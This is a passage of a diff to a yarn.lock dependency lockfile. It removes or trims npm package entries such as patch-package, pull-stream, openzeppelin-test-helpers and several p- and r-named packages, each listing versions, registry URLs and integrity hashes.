integrity sha512-ncrLw+X55z7bkl5PnUvHwFK9FcGuFYo9gtjws2XtSzL+aZ8tm830P60WJ0dSmFVaSalWieW5MD7kEdnXda9yJw== - object-visit@^1.0.0: version "1.0.1" resolved "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz" @@ -12895,16 +9910,6 @@ object-visit@^1.0.0: dependencies: isobject "^3.0.0" -object.assign@4.1.0: - version "4.1.0" - resolved "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz" - integrity sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w== - dependencies: - define-properties "^1.1.2" - function-bind "^1.1.1" - has-symbols "^1.0.0" - object-keys "^1.0.11" - object.assign@^4.1.3, object.assign@^4.1.4: version "4.1.4" resolved "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz" @@ -12933,7 +9938,7 @@ object.fromentries@^2.0.5: define-properties "^1.1.4" es-abstract "^1.20.4" -object.getownpropertydescriptors@^2.0.3, object.getownpropertydescriptors@^2.1.0, object.getownpropertydescriptors@^2.1.1: +object.getownpropertydescriptors@^2.0.3, object.getownpropertydescriptors@^2.1.0: version "2.1.5" resolved "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.5.tgz" integrity sha512-yDNzckpM6ntyQiGTik1fKV1DcVDRS+w8bvpWNCBanvH5LfRX9O8WTHqQzG4RZwRAM4I0oU7TV11Lj5v0g20ibw== @@ -12967,18 +9972,6 @@ object.values@^1.1.0, object.values@^1.1.5: define-properties "^1.1.4" es-abstract "^1.20.4" -obliterator@^2.0.0: - version "2.0.4" - resolved "https://registry.npmjs.org/obliterator/-/obliterator-2.0.4.tgz" - integrity sha512-lgHwxlxV1qIg1Eap7LgIeoBWIMFibOjbrYPIPJZcI1mmGAI2m3lNYpK12Y+GBdPQ0U1hRwSord7GIaawz962qQ== - -oboe@2.1.4: - version "2.1.4" - resolved "https://registry.npmjs.org/oboe/-/oboe-2.1.4.tgz" - integrity sha512-ymBJ4xSC6GBXLT9Y7lirj+xbqBLa+jADGJldGEYG7u8sZbS9GyG+u1Xk9c5cbriKwSpCg41qUhPjvU5xOpvIyQ== - dependencies: - http-https "^1.0.0" - oboe@2.1.5: version "2.1.5" resolved "https://registry.npmjs.org/oboe/-/oboe-2.1.5.tgz" @@ -13017,7 +10010,7 @@ onetime@^5.1.0: dependencies: mimic-fn "^2.1.0" -open@^7.0.2, open@^7.4.2: +open@^7.0.2: version "7.4.2" resolved "https://registry.npmjs.org/open/-/open-7.4.2.tgz" integrity sha512-MVHddDVweXZF3awtlAS+6pgKLlm/JgxZ90+/NBurBoQctVOOB/zDdVjcyPzQ+0laDGbsWgrRkflI65sQeOgT9Q== @@ -13025,25 +10018,6 @@ open@^7.0.2, open@^7.4.2: is-docker "^2.0.0" is-wsl "^2.1.1" -"openzeppelin-contracts-06@npm:@openzeppelin/contracts@3.4.2": - version "3.4.2" - resolved "https://registry.npmjs.org/@openzeppelin/contracts/-/contracts-3.4.2.tgz" - integrity sha512-z0zMCjyhhp4y7XKAcDAi3Vgms4T2PstwBdahiO0+9NaGICQKjynK3wduSRplTgk4LXmoO1yfDGO5RbjKYxtuxA== - -openzeppelin-test-helpers@^0.5.1: - version "0.5.1" - resolved "https://registry.npmjs.org/openzeppelin-test-helpers/-/openzeppelin-test-helpers-0.5.1.tgz" - integrity sha512-xIMusuVCKXfR+qwbyiXpV7UaqaW3H/Q3axQ2nSce8o3R9TQoxrZdbKvMZdJdg6Ro4cpRDQ3yZtniz4vSIbSZHg== - dependencies: - "@truffle/contract" "^4.0.35" - ansi-colors "^3.2.3" - chai-bn "^0.2.0" - ethjs-abi "^0.2.1" - lodash.flatten "^4.4.0" - semver "^5.6.0" - web3 "^1.2.1" - web3-utils "^1.2.1" - opn@^5.5.0: version "5.5.0" resolved "https://registry.npmjs.org/opn/-/opn-5.5.0.tgz" @@ -13088,11 +10062,6 @@ os-browserify@^0.3.0: resolved "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz" integrity sha512-gjcpUc3clBf9+210TRaDWbf+rZZZEshZ+DlXMRCeAjp0xhTrnQsKHypIy1J3d5hKdUzj69t708EHtU8P6bUn0A== -os-homedir@^1.0.0: - version "1.0.2" - resolved "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz" - integrity sha512-B5JU3cabzk8c67mRRd3ECmROafjYMXbuzlwtqdM8IbS8ktlTix8aFGb2bAGKrSRIlnfKwovGUUr72JUPyOb6kQ== - os-locale@^1.4.0: version "1.4.0" resolved "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz" @@ -13100,11 +10069,6 @@ os-locale@^1.4.0: dependencies: lcid "^1.0.0" -os-tmpdir@^1.0.1, os-tmpdir@~1.0.2: - version "1.0.2" - resolved "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz" - integrity sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g== - p-cancelable@^1.0.0: version "1.1.0" resolved "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz" @@ -13130,13 +10094,6 @@ p-finally@^1.0.0: resolved "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz" integrity sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow== -p-limit@^1.1.0: - version "1.3.0" - resolved "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz" - integrity sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q== - dependencies: - p-try "^1.0.0" - p-limit@^2.0.0, p-limit@^2.2.0: version "2.3.0" resolved "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz" @@ -13151,13 +10108,6 @@ p-limit@^3.0.2: dependencies: yocto-queue "^0.1.0" -p-locate@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz" - integrity sha512-nQja7m7gSKuewoVRen45CtVfODR3crN3goVQ0DDZ9N3yHxgpkuBhZqsaiotSQRrADUrne346peY7kT3TSACykg== - dependencies: - p-limit "^1.1.0" - p-locate@^3.0.0: version "3.0.0" resolved "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz" @@ -13172,13 +10122,6 @@ p-locate@^4.1.0: dependencies: p-limit "^2.2.0" -p-locate@^5.0.0: - version "5.0.0" - resolved "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz" - integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw== - dependencies: - p-limit "^3.0.2" - p-map@^2.0.0: version "2.1.0" resolved "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz" @@ -13198,17 +10141,12 @@ p-retry@^3.0.1: dependencies: retry "^0.12.0" -p-try@^1.0.0: - version "1.0.0" - resolved "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz" - integrity sha512-U1etNYuMJoIz3ZXSrrySFjsXQTWOx2/jdi86L+2pRvph/qMKL6sbcCYdH23fqsbm8TH2Gn0OybpT4eSFlCVHww== - p-try@^2.0.0: version "2.2.0" resolved "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz" integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ== -pako@^1.0.4, pako@~1.0.5: +pako@~1.0.5: version "1.0.11" resolved "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz" integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw== @@ -13255,11 +10193,6 @@ parse-asn1@^5.0.0, parse-asn1@^5.1.5: pbkdf2 "^3.0.3" safe-buffer "^5.1.1" -parse-cache-control@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/parse-cache-control/-/parse-cache-control-1.0.1.tgz" - integrity sha512-60zvsJReQPX5/QP0Kzfd/VrpjScIQ7SHBW6bFCYfEP+fp0Eppr1SHhIO5nd1PjZtvclzSzES9D/p5nFJurwfWg== - parse-headers@^2.0.0: version "2.0.5" resolved "https://registry.npmjs.org/parse-headers/-/parse-headers-2.0.5.tgz" @@ -13336,54 +10269,11 @@ pascalcase@^0.1.1: resolved "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz" integrity sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw== -patch-package@6.2.2: - version "6.2.2" - resolved "https://registry.npmjs.org/patch-package/-/patch-package-6.2.2.tgz" - integrity sha512-YqScVYkVcClUY0v8fF0kWOjDYopzIM8e3bj/RU1DPeEF14+dCGm6UeOYm4jvCyxqIEQ5/eJzmbWfDWnUleFNMg== - dependencies: - "@yarnpkg/lockfile" "^1.1.0" - chalk "^2.4.2" - cross-spawn "^6.0.5" - find-yarn-workspace-root "^1.2.1" - fs-extra "^7.0.1" - is-ci "^2.0.0" - klaw-sync "^6.0.0" - minimist "^1.2.0" - rimraf "^2.6.3" - semver "^5.6.0" - slash "^2.0.0" - tmp "^0.0.33" - -patch-package@^6.2.2: - version "6.5.0" - resolved "https://registry.npmjs.org/patch-package/-/patch-package-6.5.0.tgz" - integrity sha512-tC3EqJmo74yKqfsMzELaFwxOAu6FH6t+FzFOsnWAuARm7/n2xB5AOeOueE221eM9gtMuIKMKpF9tBy/X2mNP0Q== - dependencies: - "@yarnpkg/lockfile" "^1.1.0" - chalk "^4.1.2" - cross-spawn "^6.0.5" - find-yarn-workspace-root "^2.0.0" - fs-extra "^7.0.1" - is-ci "^2.0.0" - klaw-sync "^6.0.0" - minimist "^1.2.6" - open "^7.4.2" - rimraf "^2.6.3" - semver "^5.6.0" - slash "^2.0.0" - tmp "^0.0.33" - yaml "^1.10.2" - path-browserify@0.0.1: version "0.0.1" resolved "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz" integrity sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ== -path-browserify@^1.0.0: - version "1.0.1" - resolved "https://registry.npmjs.org/path-browserify/-/path-browserify-1.0.1.tgz" - integrity sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g== - path-case@^2.1.0: version "2.1.1" resolved "https://registry.npmjs.org/path-case/-/path-case-2.1.1.tgz" @@ -13413,7 +10303,7 @@ path-exists@^4.0.0: resolved "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz" integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== -path-is-absolute@^1.0.0, path-is-absolute@^1.0.1: +path-is-absolute@^1.0.0: version "1.0.1" resolved "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz" integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg== @@ -13457,12 +10347,7 @@ path-type@^4.0.0: resolved "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz" integrity sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw== -pathval@^1.1.1: - version "1.1.1" - resolved "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz" - integrity sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ== - -pbkdf2@^3.0.17, pbkdf2@^3.0.3, pbkdf2@^3.0.9: +pbkdf2@^3.0.17, pbkdf2@^3.0.3: version "3.1.2" resolved "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.2.tgz" integrity sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA== @@ -13493,26 +10378,16 @@ picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.2, picomatch@^2.3.0, picomatc resolved "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz" integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA== -pify@^2.0.0, pify@^2.3.0: +pify@^2.0.0: version "2.3.0" resolved "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz" integrity sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog== -pify@^3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz" - integrity sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg== - pify@^4.0.1: version "4.0.1" resolved "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz" integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g== -pify@^5.0.0: - version "5.0.0" - resolved "https://registry.npmjs.org/pify/-/pify-5.0.0.tgz" - integrity sha512-eW/gHNMlxdSP6dmG6uJip6FXN0EQBwm2clYYd8Wul42Cwu/DK8HEftzsapcNdYe2MfLiIwZqsDk2RDEsTE79hA== - pinkie-promise@^2.0.0: version "2.0.1" resolved "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz" @@ -14238,16 +11113,6 @@ postcss@^8.1.0: picocolors "^1.0.0" source-map-js "^1.0.2" -postinstall-postinstall@^2.1.0: - version "2.1.0" - resolved "https://registry.npmjs.org/postinstall-postinstall/-/postinstall-postinstall-2.1.0.tgz" - integrity sha512-7hQX6ZlZXIoRiWNrbMQaLzUUfH+sSx39u8EJ9HYuDc1kLo9IXKWjM5RSquZN1ad5GnH8CGFM78fsAAQi3OKEEQ== - -precond@0.2: - version "0.2.3" - resolved "https://registry.npmjs.org/precond/-/precond-0.2.3.tgz" - integrity sha512-QCYG84SgGyGzqJ/vlMsxeXd/pgL/I94ixdNFyh1PusWmTCyVfPJjZ1K1jvHtsbfnXQs2TSkEP2fR7QiMZAnKFQ== - prelude-ls@^1.2.1: version "1.2.1" resolved "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz" @@ -14268,11 +11133,6 @@ prepend-http@^2.0.0: resolved "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz" integrity sha512-ravE6m9Atw9Z/jjttRUZ+clIXogdghyZAuWJ3qEzjT+jI/dL1ifAqhZeC5VHzQp1MSt1+jxKkFNemj/iO7tVUA== -prettier@^2.1.2: - version "2.7.1" - resolved "https://registry.npmjs.org/prettier/-/prettier-2.7.1.tgz" - integrity sha512-ujppO+MkdPqoVINuDFDRLClm7D78qbDt0/NR+wp5FqEZOoTNAjPHWj17QRhu7geIHJfcNhRk1XVQmF8Bp3ye+g== - pretty-bytes@^5.3.0: version "5.6.0" resolved "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz" @@ -14296,11 +11156,6 @@ pretty-format@^26.6.0, pretty-format@^26.6.2: ansi-styles "^4.0.0" react-is "^17.0.1" -private@^0.1.6, private@^0.1.8: - version "0.1.8" - resolved "https://registry.npmjs.org/private/-/private-0.1.8.tgz" - integrity sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg== - process-nextick-args@~2.0.0: version "2.0.1" resolved "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz" @@ -14321,32 +11176,13 @@ promise-inflight@^1.0.1: resolved "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz" integrity sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g== -promise-to-callback@^1.0.0: - version "1.0.0" - resolved "https://registry.npmjs.org/promise-to-callback/-/promise-to-callback-1.0.0.tgz" - integrity sha512-uhMIZmKM5ZteDMfLgJnoSq9GCwsNKrYau73Awf1jIy6/eUcuuZ3P+CD9zUv0kJsIUbU+x6uLNIhXhLHDs1pNPA== - dependencies: - is-fn "^1.0.0" - set-immediate-shim "^1.0.1" - -promise@^8.0.0, promise@^8.1.0: +promise@^8.1.0: version "8.3.0" resolved "https://registry.npmjs.org/promise/-/promise-8.3.0.tgz" integrity sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg== dependencies: asap "~2.0.6" -prompt@^1.1.0: - version "1.3.0" - resolved "https://registry.npmjs.org/prompt/-/prompt-1.3.0.tgz" - integrity sha512-ZkaRWtaLBZl7KKAKndKYUL8WqNT+cQHKRZnT4RYYms48jQkFw3rrBL+/N5K/KtdEveHkxs982MX2BkDKub2ZMg== - dependencies: - "@colors/colors" "1.5.0" - async "3.2.3" - read "1.0.x" - revalidator "0.1.x" - winston "2.x" - prompts@2.4.0: version "2.4.0" resolved "https://registry.npmjs.org/prompts/-/prompts-2.4.0.tgz" @@ -14372,15 +11208,6 @@ prop-types@^15, prop-types@^15.0.0, prop-types@^15.6.1, prop-types@^15.6.2, prop object-assign "^4.1.1" react-is "^16.13.1" -proper-lockfile@^4.1.1: - version "4.1.2" - resolved "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz" - integrity sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA== - dependencies: - graceful-fs "^4.2.4" - retry "^0.12.0" - signal-exit "^3.0.2" - property-information@^6.0.0: version "6.1.1" resolved "https://registry.npmjs.org/property-information/-/property-information-6.1.1.tgz" @@ -14404,11 +11231,6 @@ prr@~1.0.1: resolved "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz" integrity sha512-yPw4Sng1gWghHQWj0B3ZggWUm4qVbPwPFcRG8KyxiU7J2OHFSoEHKS+EZ3fv5l1t9CyCiop6l/ZYeWbrgoQejw== -pseudomap@^1.0.1: - version "1.0.2" - resolved "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz" - integrity sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ== - psl@^1.1.28, psl@^1.1.33: version "1.9.0" resolved "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz" @@ -14426,54 +11248,6 @@ public-encrypt@^4.0.0: randombytes "^2.0.1" safe-buffer "^5.1.2" -pull-cat@^1.1.9: - version "1.1.11" - resolved "https://registry.npmjs.org/pull-cat/-/pull-cat-1.1.11.tgz" - integrity sha512-i3w+xZ3DCtTVz8S62hBOuNLRHqVDsHMNZmgrZsjPnsxXUgbWtXEee84lo1XswE7W2a3WHyqsNuDJTjVLAQR8xg== - -pull-defer@^0.2.2: - version "0.2.3" - resolved "https://registry.npmjs.org/pull-defer/-/pull-defer-0.2.3.tgz" - integrity sha512-/An3KE7mVjZCqNhZsr22k1Tx8MACnUnHZZNPSJ0S62td8JtYr/AiRG42Vz7Syu31SoTLUzVIe61jtT/pNdjVYA== - -pull-level@^2.0.3: - version "2.0.4" - resolved "https://registry.npmjs.org/pull-level/-/pull-level-2.0.4.tgz" - integrity sha512-fW6pljDeUThpq5KXwKbRG3X7Ogk3vc75d5OQU/TvXXui65ykm+Bn+fiktg+MOx2jJ85cd+sheufPL+rw9QSVZg== - dependencies: - level-post "^1.0.7" - pull-cat "^1.1.9" - pull-live "^1.0.1" - pull-pushable "^2.0.0" - pull-stream "^3.4.0" - pull-window "^2.1.4" - stream-to-pull-stream "^1.7.1" - -pull-live@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/pull-live/-/pull-live-1.0.1.tgz" - integrity sha512-tkNz1QT5gId8aPhV5+dmwoIiA1nmfDOzJDlOOUpU5DNusj6neNd3EePybJ5+sITr2FwyCs/FVpx74YMCfc8YeA== - dependencies: - pull-cat "^1.1.9" - pull-stream "^3.4.0" - -pull-pushable@^2.0.0: - version "2.2.0" - resolved "https://registry.npmjs.org/pull-pushable/-/pull-pushable-2.2.0.tgz" - integrity sha512-M7dp95enQ2kaHvfCt2+DJfyzgCSpWVR2h2kWYnVsW6ZpxQBx5wOu0QWOvQPVoPnBLUZYitYP2y7HyHkLQNeGXg== - -pull-stream@^3.2.3, pull-stream@^3.4.0, pull-stream@^3.6.8: - version "3.6.14" - resolved "https://registry.npmjs.org/pull-stream/-/pull-stream-3.6.14.tgz" - integrity sha512-KIqdvpqHHaTUA2mCYcLG1ibEbu/LCKoJZsBWyv9lSYtPkJPBq8m3Hxa103xHi6D2thj5YXa0TqK3L3GUkwgnew== - -pull-window@^2.1.4: - version "2.1.4" - resolved "https://registry.npmjs.org/pull-window/-/pull-window-2.1.4.tgz" - integrity sha512-cbDzN76BMlcGG46OImrgpkMf/VkCnupj8JhsrpBw3aWBM9ye345aYnqitmZCgauBkc0HbbRRn9hCnsa3k2FNUg== - dependencies: - looper "^2.0.0" - pump@^2.0.0: version "2.0.1" resolved "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz" @@ -14529,7 +11303,7 @@ q@^1.1.2: resolved "https://registry.npmjs.org/q/-/q-1.5.1.tgz" integrity sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw== -qs@6.11.0, qs@^6.4.0, qs@^6.7.0: +qs@6.11.0: version "6.11.0" resolved "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz" integrity sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q== @@ -14578,7 +11352,7 @@ querystringify@^2.1.1: resolved "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz" integrity sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ== -queue-microtask@^1.2.2, queue-microtask@^1.2.3: +queue-microtask@^1.2.2: version "1.2.3" resolved "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz" integrity sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A== @@ -14602,7 +11376,7 @@ rainbow-color@^2.0.0: dependencies: color-map "^0.4.0" -randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.0.6, randombytes@^2.1.0: +randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.1.0: version "2.1.0" resolved "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz" integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ== @@ -14622,7 +11396,7 @@ range-parser@^1.2.1, range-parser@~1.2.1: resolved "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz" integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg== -raw-body@2.5.1, raw-body@^2.4.1: +raw-body@2.5.1: version "2.5.1" resolved "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz" integrity sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig== @@ -14918,14 +11692,7 @@ read-pkg@^5.2.0: parse-json "^5.0.0" type-fest "^0.6.0" -read@1.0.x: - version "1.0.7" - resolved "https://registry.npmjs.org/read/-/read-1.0.7.tgz" - integrity sha512-rSOKNYUmaxy0om1BNjMN4ezNT6VKK+2xF4GBhc81mkH7L60i6dp8qPYrkndNLT3QPphoII3maL9PVC9XmhHwVQ== - dependencies: - mute-stream "~0.0.4" - -"readable-stream@1 || 2", readable-stream@^2.0.0, readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.0.5, readable-stream@^2.1.5, readable-stream@^2.2.2, readable-stream@^2.2.8, readable-stream@^2.2.9, readable-stream@^2.3.3, readable-stream@^2.3.6, readable-stream@~2.3.6: +"readable-stream@1 || 2", readable-stream@^2.0.0, readable-stream@^2.0.1, readable-stream@^2.0.2, readable-stream@^2.1.5, readable-stream@^2.2.2, readable-stream@^2.3.3, readable-stream@^2.3.6, readable-stream@~2.3.6: version "2.3.7" resolved "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz" integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw== @@ -14938,16 +11705,6 @@ read@1.0.x: string_decoder "~1.1.1" util-deprecate "~1.0.1" -readable-stream@^1.0.33: - version "1.1.14" - resolved "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz" - integrity sha512-+MeVjFf4L44XUkhM1eYbD8fyEsxcV81pqMSR5gblfcLCHfZvbrqy4/qYHE+/R5HoBUT11WV5O08Cr1n3YXkWVQ== - dependencies: - core-util-is "~1.0.0" - inherits "~2.0.1" - isarray "0.0.1" - string_decoder "~0.10.x" - readable-stream@^3.0.6, readable-stream@^3.6.0: version "3.6.0" resolved "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz" @@ -14957,16 +11714,6 @@ readable-stream@^3.0.6, readable-stream@^3.6.0: string_decoder "^1.1.1" util-deprecate "^1.0.1" -readable-stream@~1.0.15: - version "1.0.34" - resolved "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz" - integrity sha512-ok1qVCJuRkNmvebYikljxJA/UEsKwLl2nI1OmaqAu4/UE+h0wKCHok4XkL/gvi39OacXvw59RJUOFUkDib2rHg== - dependencies: - core-util-is "~1.0.0" - inherits "~2.0.1" - isarray "0.0.1" - string_decoder "~0.10.x" - readdirp@^2.2.1: version "2.2.1" resolved "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz" @@ -14976,13 +11723,6 @@ readdirp@^2.2.1: micromatch "^3.1.10" readable-stream "^2.0.2" -readdirp@~3.2.0: - version "3.2.0" - resolved "https://registry.npmjs.org/readdirp/-/readdirp-3.2.0.tgz" - integrity sha512-crk4Qu3pmXwgxdSgGhgA/eXiJAPQiX4GMOZZMXnqKxHX7TaoL+3gQVo/WeuAiogr07DpnfjIMpXXa+PAIvwPGQ== - dependencies: - picomatch "^2.0.4" - readdirp@~3.6.0: version "3.6.0" resolved "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz" @@ -15023,7 +11763,7 @@ regenerate-unicode-properties@^10.1.0: dependencies: regenerate "^1.4.2" -regenerate@^1.2.1, regenerate@^1.4.2: +regenerate@^1.4.2: version "1.4.2" resolved "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz" integrity sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A== @@ -15038,15 +11778,6 @@ regenerator-runtime@^0.13.10, regenerator-runtime@^0.13.7: resolved "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.10.tgz" integrity sha512-KepLsg4dU12hryUO7bp/axHAKvwGOCV0sGloQtpagJ12ai+ojVDqkeGSiRX1zlq+kjIMZ1t7gpze+26QqtdGqw== -regenerator-transform@^0.10.0: - version "0.10.1" - resolved "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.10.1.tgz" - integrity sha512-PJepbvDbuK1xgIgnau7Y90cwaAmO/LCLMI2mPvaXq2heGMR3aWW5/BQvYrhJ8jgmQjXewXvBjzfqKcVOmhjZ6Q== - dependencies: - babel-runtime "^6.18.0" - babel-types "^6.19.0" - private "^0.1.6" - regenerator-transform@^0.15.0: version "0.15.0" resolved "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.0.tgz" @@ -15081,15 +11812,6 @@ 